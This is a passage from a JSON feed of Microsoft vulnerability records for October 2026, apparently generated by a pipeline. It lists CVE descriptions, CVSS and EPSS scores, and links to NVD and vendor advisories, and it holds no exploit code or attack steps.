CVE-2026-97814","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97814","type":"primary","publishedAt":"2026-10-13T19:22:19.753Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97814","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97814&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97814, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97805","cveId":"CVE-2026-97805","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Partition Management Driver allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds read in Windows Partition Management Driver allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds read in Windows Partition Management Driver allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:18.440Z","updatedAt":"2026-10-16T17:18:04.540Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97805","asOf":"2026-10-16T17:18:04.540Z"},"epss":{"probability":0.01059,"percentile":0.64298,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97805&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97805","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97805","type":"primary","publishedAt":"2026-10-13T19:22:18.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97805","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97805&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97805, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97749","cveId":"CVE-2026-97749","aliases":[],"kind":"vulnerability","title":"Double free in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","summary":"Double free in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","detail":"Double free in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:12.340Z","updatedAt":"2026-10-15T16:15:12.760Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97749","asOf":"2026-10-15T16:15:12.760Z"},"epss":{"probability":0.01196,"percentile":0.67873,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97749&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97749","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97749","type":"primary","publishedAt":"2026-10-13T19:22:12.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97749","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97749&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97749, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97016","cveId":"CVE-2026-97016","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:10.530Z","updatedAt":"2026-10-15T16:15:40.687Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97016","asOf":"2026-10-15T16:15:40.687Z"},"epss":{"probability":0.01172,"percentile":0.67224,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97016&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97016","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97016","type":"primary","publishedAt":"2026-10-13T19:22:10.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97016","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97016&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97016, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96934","cveId":"CVE-2026-96934","aliases":[],"kind":"vulnerability","title":"Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:05.590Z","updatedAt":"2026-10-16T10:39:38.927Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96934","asOf":"2026-10-16T10:39:38.927Z"},"epss":{"probability":0.00939,"percentile":0.60654,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96934&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96934","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96934","type":"primary","publishedAt":"2026-10-13T19:22:05.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96934","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96934&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96934, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96924","cveId":"CVE-2026-96924","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in Windows OLE allows an unauthorized attacker to execute code over a network.","summary":"Untrusted pointer dereference in Windows OLE allows an unauthorized attacker to execute code over a network.","detail":"Untrusted pointer dereference in Windows OLE allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:03.867Z","updatedAt":"2026-10-16T19:37:15.247Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96924","asOf":"2026-10-16T19:37:15.247Z"},"epss":{"probability":0.0101,"percentile":0.62865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96924&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96924","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96924","type":"primary","publishedAt":"2026-10-13T19:22:03.867Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96924","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96924&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96924, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96909","cveId":"CVE-2026-96909","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows BitLocker allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows BitLocker allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows BitLocker allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:01.520Z","updatedAt":"2026-10-16T15:02:07.660Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96909","asOf":"2026-10-16T15:02:07.660Z"},"epss":{"probability":0.00989,"percentile":0.62253,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96909&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96909","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96909","type":"primary","publishedAt":"2026-10-13T19:22:01.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96909","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96909&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96909, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96320","cveId":"CVE-2026-96320","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows DHCP Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:55.017Z","updatedAt":"2026-10-16T15:41:08.857Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96320","asOf":"2026-10-16T15:41:08.857Z"},"epss":{"probability":0.0105,"percentile":0.64029,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96320&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96320","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96320","type":"primary","publishedAt":"2026-10-13T19:21:55.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96320","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96320&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96320, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96252","cveId":"CVE-2026-96252","aliases":[],"kind":"vulnerability","title":"Improper verification of cryptographic signature in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.","summary":"Improper verification of cryptographic signature in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.","detail":"Improper verification of cryptographic signature in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:51.343Z","updatedAt":"2026-10-20T00:33:29.760Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96252","asOf":"2026-10-20T00:33:29.760Z"},"epss":{"probability":0.00561,"percentile":0.46379,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96252&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96252","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96252","type":"primary","publishedAt":"2026-10-13T19:21:51.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96252","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96252&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96252, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96219","cveId":"CVE-2026-96219","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds write in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds write in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:47.737Z","updatedAt":"2026-10-16T16:22:46.130Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96219","asOf":"2026-10-16T16:22:46.130Z"},"epss":{"probability":0.00892,"percentile":0.59162,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96219&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96219","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96219","type":"primary","publishedAt":"2026-10-13T19:21:47.737Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96219","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96219&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96219, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96113","cveId":"CVE-2026-96113","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in DNS Server allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in DNS Server allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in DNS Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:45.733Z","updatedAt":"2026-10-16T10:46:22.423Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96113","asOf":"2026-10-16T10:46:22.423Z"},"epss":{"probability":0.00869,"percentile":0.58505,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96113&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96113","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96113","type":"primary","publishedAt":"2026-10-13T19:21:45.733Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96113","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96113&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96113, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96096","cveId":"CVE-2026-96096","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Media Player allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Media Player allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Media Player allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:45.403Z","updatedAt":"2026-10-16T16:22:44.797Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96096","asOf":"2026-10-16T16:22:44.797Z"},"epss":{"probability":0.00659,"percentile":0.51237,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96096&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96096","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96096","type":"primary","publishedAt":"2026-10-13T19:21:45.403Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96096","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96096&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96096, scored 2026-10-25. This is a model estimate, not proof of 